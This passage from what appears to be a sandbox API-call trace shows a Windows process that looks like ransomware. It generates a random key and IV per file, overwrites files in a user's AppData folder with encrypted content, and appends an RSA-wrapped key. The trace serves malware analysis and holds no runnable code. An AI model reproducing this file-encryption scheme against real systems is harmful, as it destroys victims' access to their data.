lpBuffer=0x5c4a58*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4a58*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0168.353] WriteFile (in: hFile=0x30c, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0168.353] CloseHandle (hObject=0x30c) returned 1 [0168.355] WriteFile (in: hFile=0x16b8, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0168.356] CloseHandle (hObject=0x16b8) returned 1 [0168.357] WriteFile (in: hFile=0x16b8, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0168.358] CloseHandle (hObject=0x16b8) returned 1 [0168.358] WriteFile (in: hFile=0x16b8, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0168.359] CloseHandle (hObject=0x16b8) returned 1 [0168.359] WriteFile (in: hFile=0x16b8, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0168.360] CloseHandle (hObject=0x16b8) returned 1 [0168.361] WriteFile (in: hFile=0x16b8, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0168.362] CloseHandle (hObject=0x16b8) returned 1 [0168.362] WriteFile (in: hFile=0x16b8, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0168.366] CloseHandle (hObject=0x16b8) returned 1 [0168.367] WriteFile (in: hFile=0x16bc, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0168.368] CloseHandle (hObject=0x16bc) returned 1 [0168.368] WriteFile (in: hFile=0x16bc, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0168.369] CloseHandle (hObject=0x16bc) returned 1 [0168.369] WriteFile (in: hFile=0x16bc, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0168.370] CloseHandle (hObject=0x16bc) returned 1 [0168.371] WriteFile (in: hFile=0x16bc, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0168.372] CloseHandle (hObject=0x16bc) returned 1 [0168.372] WriteFile (in: hFile=0x16bc, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0168.373] CloseHandle (hObject=0x16bc) returned 1 [0168.373] WriteFile (in: hFile=0x16bc, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0168.374] CloseHandle (hObject=0x16bc) returned 1 [0168.375] WriteFile (in: hFile=0x16c0, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0168.376] CloseHandle (hObject=0x16c0) returned 1 [0168.376] WriteFile (in: hFile=0x16c0, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0168.377] CloseHandle (hObject=0x16c0) returned 1 [0168.377] WriteFile (in: hFile=0x16c0, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0168.378] CloseHandle (hObject=0x16c0) returned 1 [0168.378] WriteFile (in: hFile=0x16c0, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0168.379] CloseHandle (hObject=0x16c0) returned 1 [0168.380] WriteFile (in: hFile=0x16c0, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0168.381] CloseHandle (hObject=0x16c0) returned 1 [0168.382] WriteFile (in: hFile=0x16c4, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0168.383] CloseHandle (hObject=0x16c4) returned 1 [0168.383] WriteFile (in: hFile=0x16c4, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0168.384] CloseHandle (hObject=0x16c4) returned 1 [0168.384] WriteFile (in: hFile=0x16c4, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0168.385] CloseHandle (hObject=0x16c4) returned 1 [0168.386] WriteFile (in: hFile=0x16c4, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0168.387] CloseHandle (hObject=0x16c4) returned 1 [0168.387] WriteFile (in: hFile=0x16c4, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0168.388] CloseHandle (hObject=0x16c4) returned 1 [0168.389] WriteFile (in: hFile=0x16c4, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0168.390] CloseHandle (hObject=0x16c4) returned 1 [0168.390] WriteFile (in: hFile=0x16d4, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0168.391] CloseHandle (hObject=0x16d4) returned 1 [0168.392] WriteFile (in: hFile=0x16d4, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0168.393] CloseHandle (hObject=0x16d4) returned 1 [0168.393] WriteFile (in: hFile=0x16d4, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0168.394] CloseHandle (hObject=0x16d4) returned 1 [0168.395] WriteFile (in: hFile=0x16d4, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0168.396] CloseHandle (hObject=0x16d4) returned 1 [0168.397] WriteFile (in: hFile=0x16d4, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0168.398] CloseHandle (hObject=0x16d4) returned 1 [0168.399] WriteFile (in: hFile=0x16d4, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0168.400] CloseHandle (hObject=0x16d4) returned 1 [0168.400] WriteFile (in: hFile=0x16d4, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0168.401] CloseHandle (hObject=0x16d4) returned 1 [0168.401] WriteFile (in: hFile=0x16d4, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0168.402] CloseHandle (hObject=0x16d4) returned 1 [0168.402] WriteFile (in: hFile=0x16d4, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0168.403] CloseHandle (hObject=0x16d4) returned 1 [0168.404] WriteFile (in: hFile=0x16d4, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0168.405] CloseHandle (hObject=0x16d4) returned 1 [0168.405] WriteFile (in: hFile=0x16d4, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0168.406] CloseHandle (hObject=0x16d4) returned 1 [0168.412] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4a58 | out: pbBuffer=0x5c4a58) returned 1 [0168.412] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0168.412] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.SkypeApp_kzf8qxf38zg5c\\LocalState\\DiagOutputDir\\SkypeHost-11.8.204.0-001.etl", dwFileAttributes=0x80) returned 1 [0168.413] ReadFile (in: hFile=0x17d0, lpBuffer=0x2ed1068, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ed1068*, lpNumberOfBytesRead=0x2e1f9bc*=0x2000, lpOverlapped=0x0) returned 1 [0168.423] SetFilePointer (in: hFile=0x17d0, lDistanceToMove=-8192, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0168.424] WriteFile (in: hFile=0x17d0, lpBuffer=0x2ec7040*, nNumberOfBytesToWrite=0x2000, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ec7040*, lpNumberOfBytesWritten=0x2e1f9bc*=0x2000, lpOverlapped=0x0) returned 1 [0168.430] SetFilePointer (in: hFile=0x17d0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x2000 [0168.430] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0168.430] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0168.430] WriteFile (in: hFile=0x17d0, lpBuffer=0x5c4a58*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4a58*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0168.431] WriteFile (in: hFile=0x17d0, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0168.431] CloseHandle (hObject=0x17d0) returned 1 [0168.461] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c53a0 | out: pbBuffer=0x5c53a0) returned 1 [0168.461] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3538 | out: pbBuffer=0x5c3538) returned 1 [0168.461] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\AC\\BackgroundTransferApi\\ec24f201-27b8-4d24-9eda-c898a96c3bc3.up_meta_body", dwFileAttributes=0x80) returned 1 [0168.462] ReadFile (in: hFile=0x1820, lpBuffer=0x5c34c8, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c34c8*, lpNumberOfBytesRead=0x2e1f9bc*=0x0, lpOverlapped=0x0) returned 1 [0168.462] SetFilePointer (in: hFile=0x1820, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0168.462] WriteFile (in: hFile=0x1820, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x0, lpOverlapped=0x0) returned 1 [0168.462] SetFilePointer (in: hFile=0x1820, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x0 [0168.462] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0168.462] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0168.463] WriteFile (in: hFile=0x1820, lpBuffer=0x5c53a0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c53a0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0168.464] WriteFile (in: hFile=0x1820, lpBuffer=0x5c3538*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3538*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0168.464] CloseHandle (hObject=0x1820) returned 1 [0168.466] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4218 | out: pbBuffer=0x5c4218) returned 1 [0168.466] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0168.466] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\AC\\BackgroundTransferApi\\ec24f201-27b8-4d24-9eda-c898a96c3bc3.up_meta", dwFileAttributes=0x80) returned 1 [0168.466] ReadFile (in: hFile=0x1820, lpBuffer=0x30c9868, nNumberOfBytesToRead=0xda, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30c9868*, lpNumberOfBytesRead=0x2e1f9bc*=0xda, lpOverlapped=0x0) returned 1 [0168.467] SetFilePointer (in: hFile=0x1820, lDistanceToMove=-218, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0168.467] WriteFile (in: hFile=0x1820, lpBuffer=0x30ca8b8*, nNumberOfBytesToWrite=0xda, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30ca8b8*, lpNumberOfBytesWritten=0x2e1f9bc*=0xda, lpOverlapped=0x0) returned 1 [0168.468] SetFilePointer (in: hFile=0x1820, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0xda [0168.468] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0168.468] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0168.468] WriteFile (in: hFile=0x1820, lpBuffer=0x5c4218*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4218*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0168.468] WriteFile (in: hFile=0x1820, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0168.468] CloseHandle (hObject=0x1820) returned 1 [0168.470] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4a58 | out: pbBuffer=0x5c4a58) returned 1 [0168.470] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3478 | out: pbBuffer=0x5c3478) returned 1 [0168.470] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\AC\\BackgroundTransferApi\\ec24f201-27b8-4d24-9eda-c898a96c3bc3.32e727dd-8875-430c-becf-d08f84eae430.down_meta", dwFileAttributes=0x80) returned 1 [0168.471] ReadFile (in: hFile=0x1820, lpBuffer=0x582728, nNumberOfBytesToRead=0x5c2, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x582728*, lpNumberOfBytesRead=0x2e1f9bc*=0x5c2, lpOverlapped=0x0) returned 1 [0168.486] SetFilePointer (in: hFile=0x1820, lDistanceToMove=-1474, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0168.486] WriteFile (in: hFile=0x1820, lpBuffer=0x2f728b8*, nNumberOfBytesToWrite=0x5c2, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2f728b8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x5c2, lpOverlapped=0x0) returned 1 [0168.486] SetFilePointer (in: hFile=0x1820, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x5c2 [0168.486] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0168.486] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0168.487] WriteFile (in: hFile=0x1820, lpBuffer=0x5c4a58*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4a58*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0168.487] WriteFile (in: hFile=0x1820, lpBuffer=0x5c3478*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3478*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0168.487] CloseHandle (hObject=0x1820) returned 1 [0168.489] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c53a0 | out: pbBuffer=0x5c53a0) returned 1 [0168.489] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0168.489] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\AC\\BackgroundTransferApi\\dccc04a3-64f0-4449-b08e-7f2c9a851fe3.up_meta_body", dwFileAttributes=0x80) returned 1 [0168.489] ReadFile (in: hFile=0x1820, lpBuffer=0x5c34c8, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c34c8*, lpNumberOfBytesRead=0x2e1f9bc*=0x0, lpOverlapped=0x0) returned 1 [0168.489] SetFilePointer (in: hFile=0x1820, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0168.489] WriteFile (in: hFile=0x1820, lpBuffer=0x5c3458*, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3458*, lpNumberOfBytesWritten=0x2e1f9bc*=0x0, lpOverlapped=0x0) returned 1 [0168.489] SetFilePointer (in: hFile=0x1820, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x0 [0168.490] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0168.490] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0168.490] WriteFile (in: hFile=0x1820, lpBuffer=0x5c53a0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c53a0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0168.491] WriteFile (in: hFile=0x1820, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0168.491] CloseHandle (hObject=0x1820) returned 1 [0168.492] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4218 | out: pbBuffer=0x5c4218) returned 1 [0168.492] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0168.492] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\AC\\BackgroundTransferApi\\dccc04a3-64f0-4449-b08e-7f2c9a851fe3.up_meta", dwFileAttributes=0x80) returned 1 [0168.493] ReadFile (in: hFile=0x1820, lpBuffer=0x30ca430, nNumberOfBytesToRead=0xda, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30ca430*, lpNumberOfBytesRead=0x2e1f9bc*=0xda, lpOverlapped=0x0) returned 1 [0168.493] SetFilePointer (in: hFile=0x1820, lDistanceToMove=-218, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0168.494] WriteFile (in: hFile=0x1820, lpBuffer=0x30ca8b8*, nNumberOfBytesToWrite=0xda, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30ca8b8*, lpNumberOfBytesWritten=0x2e1f9bc*=0xda, lpOverlapped=0x0) returned 1 [0168.494] SetFilePointer (in: hFile=0x1820, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0xda [0168.494] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0168.494] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0168.494] WriteFile (in: hFile=0x1820, lpBuffer=0x5c4218*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4218*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0168.494] WriteFile (in: hFile=0x1820, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: 